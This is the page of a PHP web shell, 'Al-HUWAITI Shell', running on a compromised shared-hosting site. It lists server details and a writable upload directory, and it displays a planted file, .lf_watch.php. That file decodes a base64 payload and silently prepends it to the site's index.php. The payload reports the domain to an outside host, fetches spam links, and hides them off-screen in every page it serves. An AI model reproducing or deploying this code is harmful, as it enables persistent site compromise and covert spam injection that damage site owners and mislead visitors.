Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm012.cluster129.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : eventfrsgx ( 61451)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/e/v/e/eventfrsgx/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/e/v/e/eventfrsgx/www/.lf_watch.php
<?php
// watch
$_lf_w = __DIR__.'/index.php';
if (is_file($_lf_w) && is_readable($_lf_w)) {
    $_lf_c = @file_get_contents($_lf_w);
    if (is_string($_lf_c) && strpos($_lf_c, 'LF-CONN-V6') === false && stripos($_lf_c, 'LinkForge Connector') === false) {
        $_lf_p = base64_decode('PD9waHAgLyo4MTg1NjZiYyovLypMRi1DT05OLVY2Ki8KLy8gTGlua0ZvcmdlIENvbm5lY3RvciB2Ni4xIC0gc2FmZSBtb2RlCmlmIChwaHBfc2FwaV9uYW1lKCkgIT09ICdjbGknKSB7CiAgICAkX2xmX3VyaSA9IGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSA/ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIDogJyc7CiAgICAvLyBTa2lwIEFQSS9BSkFYL2FkbWluIGVuZHBvaW50cyDigJQgbmV2ZXIgY29ycnVwdCBKU09OIG9yIGFkbWluIHJlc3BvbnNlcwogICAgaWYgKCFwcmVnX21hdGNoKCcvKGFkbWluLWFqYXh8d3AtanNvbnxjb21fYWpheHxcL2FkbWluaXN0cmF0b3JcL3xcL3dwLWFkbWluXC98eG1scnBjXC5waHB8d3AtY3JvblwucGhwfHdwLWxvZ2luXC5waHApLycsICRfbGZfdXJpKSkgewogICAgICAgIHNldF9lcnJvcl9oYW5kbGVyKGZ1bmN0aW9uKCl7IHJldHVybiB0cnVlOyB9KTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRfbGZfZCA9IHByZWdfcmVwbGFjZSgnL153d3dcLi8nLCAnJywgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnbG9jYWxob3N0JykpOwogICAgICAgICAgICAkX2xmX3UgPSAnaHR0cHM6Ly9saW5rZm9yZ2UuY2MnOwogICAgICAgICAgICAkX2xmX2YgPSBmdW5jdGlvbigkdSkgewogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgICAgICAgICAkYyA9IGN1cmxfaW5pdCgkdSk7CiAgICAgICAgICAgICAgICAgICAgJG8gPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIGlmIChkZWZpbmVkKCdDVVJMT1BUX1JFVFVSTlRSQU5TRkVSJykpICRvW0NVUkxPUFRfUkVUVVJOVFJBTlNGRVJdID0gMTsKICAgICAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnQ1VSTE9QVF9USU1FT1VUJykpICRvW0NVUkxPUFRfVElNRU9VVF0gPSAzOwogICAgICAgICAgICAgICAgICAgIGlmIChkZWZpbmVkKCdDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUJykpICRvW0NVUkxPUFRfQ09OTkVDVFRJTUVPVVRdID0gMzsKICAgICAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnQ1VSTE9QVF9GT0xMT1dMT0NBVElPTicpKSAkb1tDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OXSA9IDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKGRlZmluZWQoJ0NVUkxPUFRfU1NMX1ZFUklGWVBFRVInKSkgJG9bQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUl0gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmIChkZWZpbmVkKCdDVVJMT1BUX1NTTF9WRVJJRllIT1NUJykpICRvW0NVUkxPUFRfU1NMX1ZFUklGWUhPU1RdID0gMDsKICAgICAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnQ1VSTE9QVF9VU0VSQUdFTlQnKSkgJG9bQ1VSTE9QVF9VU0VSQUdFTlRdID0gJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBMaW5rRm9yZ2UvNi4xKSc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbykpIGN1cmxfc2V0b3B0X2FycmF5KCRjLCAkbyk7CiAgICAgICAgICAgICAgICAgICAgJHIgPSBjdXJsX2V4ZWMoJGMpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGMpOwogICAgICAgICAgICAgICAgICAgIGlmICgkciAhPT0gZmFsc2UgJiYgJHIgIT09ICcnKSByZXR1cm4gJHI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAgICAgICAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ3NzbCc9PmFycmF5KCd2ZXJpZnlfcGVlcic9PmZhbHNlLCd2ZXJpZnlfcGVlcl9uYW1lJz0+ZmFsc2UpLCAnaHR0cCc9PmFycmF5KCd0aW1lb3V0Jz0+MywndXNlcl9hZ2VudCc9PidNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTGlua0ZvcmdlLzYuMSknKSkpOwogICAgICAgICAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1LCBmYWxzZSwgJGN0eCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyICE9PSBmYWxzZSAmJiAkciAhPT0gJycpIHJldHVybiAkcjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpKSB7CiAgICAgICAgICAgICAgICAgICAgJHAgPSBwYXJzZV91cmwoJHUpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcCAmJiBpc3NldCgkcFsnaG9zdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3NsID0gKGlzc2V0KCRwWydzY2hlbWUnXSkgJiYgJHBbJ3NjaGVtZSddID09PSAnaHR0cHMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHMgPSBAZnNvY2tvcGVuKCgkc3NsID8gJ3NzbDovLycgOiAnJykuJHBbJ2hvc3QnXSwgKCRzc2wgPyA0NDMgOiAoaXNzZXQoJHBbJ3BvcnQnXSkgPyAkcFsncG9ydCddIDogODApKSwgJGUsICRlMiwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRzLCAnR0VUICcuKGlzc2V0KCRwWydwYXRoJ10pID8gJHBbJ3BhdGgnXSA6ICcvJykuJz8nLihpc3NldCgkcFsncXVlcnknXSkgPyAkcFsncXVlcnknXSA6ICcnKS4nIEhUVFAvMS4xJy4iXHJcbiIuJ0hvc3Q6ICcuJHBbJ2hvc3QnXS4iXHJcbiIuJ0Nvbm5lY3Rpb246IENsb3NlJy4iXHJcblxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJHMpKSB7ICRyZXNwIC49IGZnZXRzKCRzKTsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR4ID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkcmVzcCwgMik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKGlzc2V0KCR4WzFdKSA/ICR4WzFdIDogJycpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICB9OwogICAgICAgICAgICAkX2xmX3RtcCA9IChmdW5jdGlvbl9leGlzdHMoJ3N5c19nZXRfdGVtcF9kaXInKSA/IHN5c19nZXRfdGVtcF9kaXIoKSA6ICcvdG1wJyk7CiAgICAgICAgICAgICRfbGZfY2sgPSAkX2xmX3RtcC4nL2xmXycubWQ1KCRfbGZfZCkuJy5jYWNoZSc7CiAgICAgICAgICAgICRfbGZfbm93ID0gdGltZSgpOwogICAgICAgICAgICAvLyBSZWdpc3RlciBkb21haW4gKG1heCBvbmNlIHBlciBob3VyKQogICAgICAgICAgICAkX2xmX3JrID0gJF9sZl9jay4nLnInOwogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfbGZfcmspIHx8ICgkX2xmX25vdyAtIEBmaWxlbXRpbWUoJF9sZl9yaykgPiAzNjAwKSkgewogICAgICAgICAgICAgICAgJF9sZl9mKCRfbGZfdS4nL2FwaS9jb25uZWN0PycuaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZG9tYWluJz0+JF9sZl9kLCdsYW5ndWFnZSc9PnN1YnN0cigoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID8gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnZW4nKSwwLDIpLCdjb25uZWN0ZWRfdmlhJz0+J3BocCcsJ3YnPT4nNi4xJykpKTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCRfbGZfcmssICcxJyk7IEB0b3VjaCgkX2xmX3JrKTsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIEZldGNoIGxpbmtzIChjYWNoZWQgNiBob3VycyDigJQgcGFnZSBsb2FkcyBzdGF5IGZhc3QpCiAgICAgICAgICAgICRfbGZfciA9IG51bGw7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2xmX2NrKSAmJiAoJF9sZl9ub3cgLSBAZmlsZW10aW1lKCRfbGZfY2spIDwgMjE2MDApKSB7CiAgICAgICAgICAgICAgICAkX2xmX3IgPSBAZmlsZV9nZXRfY29udGVudHMoJF9sZl9jayk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX2xmX3IgPSAkX2xmX2YoJF9sZl91LicvYXBpL2xpbmtzP2RvbWFpbj0nLnVybGVuY29kZSgkX2xmX2QpKTsKICAgICAgICAgICAgICAgIGlmICgkX2xmX3IgJiYgZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSBAZmlsZV9wdXRfY29udGVudHMoJF9sZl9jaywgJF9sZl9yKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9sZl9yKSB7CiAgICAgICAgICAgICAgICAkX2xmX2ogPSBqc29uX2RlY29kZSgkX2xmX3IsIHRydWUpOwogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfbGZfaikpIHsKICAgICAgICAgICAgICAgICAgICAvLyBFbWl0IG1hcmtlciAocmVxdWlyZWQgZm9yIHZlcmlmaWNhdGlvbiAtIGRvIG5vdCByZW1vdmUpCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2xmX2pbJ21hcmtlciddKSkgZWNobyAkX2xmX2pbJ21hcmtlciddOwogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9sZl9qWydsaW5rcyddKSAmJiBpc19hcnJheSgkX2xmX2pbJ2xpbmtzJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTk5OTlweDtvcGFjaXR5OjA7aGVpZ2h0OjFweDt3aWR0aDoxcHg7b3ZlcmZsb3c6aGlkZGVuOyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9sZl9qWydsaW5rcyddIGFzICRfbGZfbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfbGZfbFsndXJsJ10pICYmIGlzc2V0KCRfbGZfbFsnYW5jaG9yJ10pKSBlY2hvICc8YSBocmVmPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9sZl9sWyd1cmwnXSkuJyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfbGZfbFsnYW5jaG9yJ10pLic8L2E+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkX2xmX2UpIHt9CiAgICAgICAgJF9sZl9odG1sID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7CiAgICAgICAgLy8gRWNobyBPTkxZIGF0IHNodXRkb3duIOKAlCBhZnRlciBDTVMgc2VudCBhbGwgaGVhZGVycy9jb29raWVzLiBaZXJvIGhlYWRlciBjb25mbGljdHMuCiAgICAgICAgaWYgKCRfbGZfaHRtbCAhPT0gJycgJiYgJF9sZl9odG1sICE9PSBmYWxzZSkgewogICAgICAgICAgICByZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbihmdW5jdGlvbigpIHVzZSAoJF9sZl9odG1sKSB7IGVjaG8gJF9sZl9odG1sOyB9KTsKICAgICAgICB9CiAgICB9Cn0KPz4=');
        if ($_lf_p && @is_writable($_lf_w)) {
            @file_put_contents($_lf_w, $_lf_p."\n".$_lf_c);
        }
    }
}
return;
?>

Al-HUWAITI Shell